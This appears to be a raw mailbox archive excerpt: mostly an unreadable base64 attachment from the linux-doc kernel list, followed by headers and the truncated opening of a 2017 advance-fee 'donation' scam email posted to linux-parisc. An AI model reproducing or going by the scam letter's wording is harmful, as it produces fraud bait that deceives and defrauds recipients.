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

--2oS5YaxWCcQjTEyO--
--
To unsubscribe from this list: send the line "unsubscribe linux-doc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joyes Dadi <"YD."@biscuit.ocn.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Urgent Please,,
Date: Mon, 23 Jan 2017 23:07:49 +0900 (JST)
Lines: 29
Approved: news@gmane.org
Message-ID: <1028184183.25784289.1485180469689.JavaMail.root__1919.07730554721$1485181310$gmane$org@biscuit.ocn.ne.jp>
Reply-To: Joyes Dadi <joyesdadi767@citromail.hu>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485181311 16036 195.159.176.226 (23 Jan 2017 14:21:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 23 Jan 2017 14:21:51 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 23 15:21:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cVfUd-0001Pe-6V
	for glpp-linux-parisc@m.gmane.org; Mon, 23 Jan 2017 15:21:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751370AbdAWOVH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 23 Jan 2017 09:21:07 -0500
Original-Received: from mbkd0331.ocn.ad.jp ([153.149.236.32]:32863 "EHLO
        mbkd0331.ocn.ad.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751220AbdAWOUz (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 23 Jan 2017 09:20:55 -0500
X-Greylist: delayed 770 seconds by postgrey-1.27 at vger.kernel.org; Mon, 23 Jan 2017 09:20:47 EST
Original-Received: from mf-smf-ucb002.ocn.ad.jp (mf-smf-ucb002.ocn.ad.jp [153.149.227.4])
        by mbkd0331.ocn.ad.jp (Postfix) with ESMTP id 79F8EE80CB5;
        Mon, 23 Jan 2017 23:07:54 +0900 (JST)
Original-Received: from mf-smf-ucb002.ocn.ad.jp (mf-smf-ucb002 [153.149.227.4])
        by mf-smf-ucb002.ocn.ad.jp (Postfix) with ESMTP id 58384C0670;
        Mon, 23 Jan 2017 23:07:54 +0900 (JST)
Original-Received: from ntt.pod01.mv-mta-ucb027 (mv-mta-ucb027.ocn.ad.jp [153.149.142.101])
        by mf-smf-ucb002.ocn.ad.jp (Switch-3.3.4/Switch-3.3.4) with ESMTP id v0NE7auI044804;
        Mon, 23 Jan 2017 23:07:50 +0900
Original-Received: from vcwebmail.ocn.ad.jp ([153.149.227.166])
        by ntt.pod01.mv-mta-ucb027 with 
        id bq7p1u0033c2f7501q7pHW; Mon, 23 Jan 2017 14:07:50 +0000
Original-Received: from mzkstore609.ocn.ad.jp (mz-ukg609p.ocn.ad.jp [153.149.211.166])
        by vcwebmail.ocn.ad.jp (Postfix) with ESMTP;
        Mon, 23 Jan 2017 23:07:49 +0900 (JST)
X-Originating-IP: [41.138.89.203]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27223>

Good Day Dear,

My name is Ms. Joyes Dadi, I am glad you are reading this letter and I hope
we will start our communication and I know that this message will look strange,
surprising and probably unbelievable to you, but it is the reality. I want to
make a donation of money to you.

I contact you by the will of God. I am a firm German woman specialized in
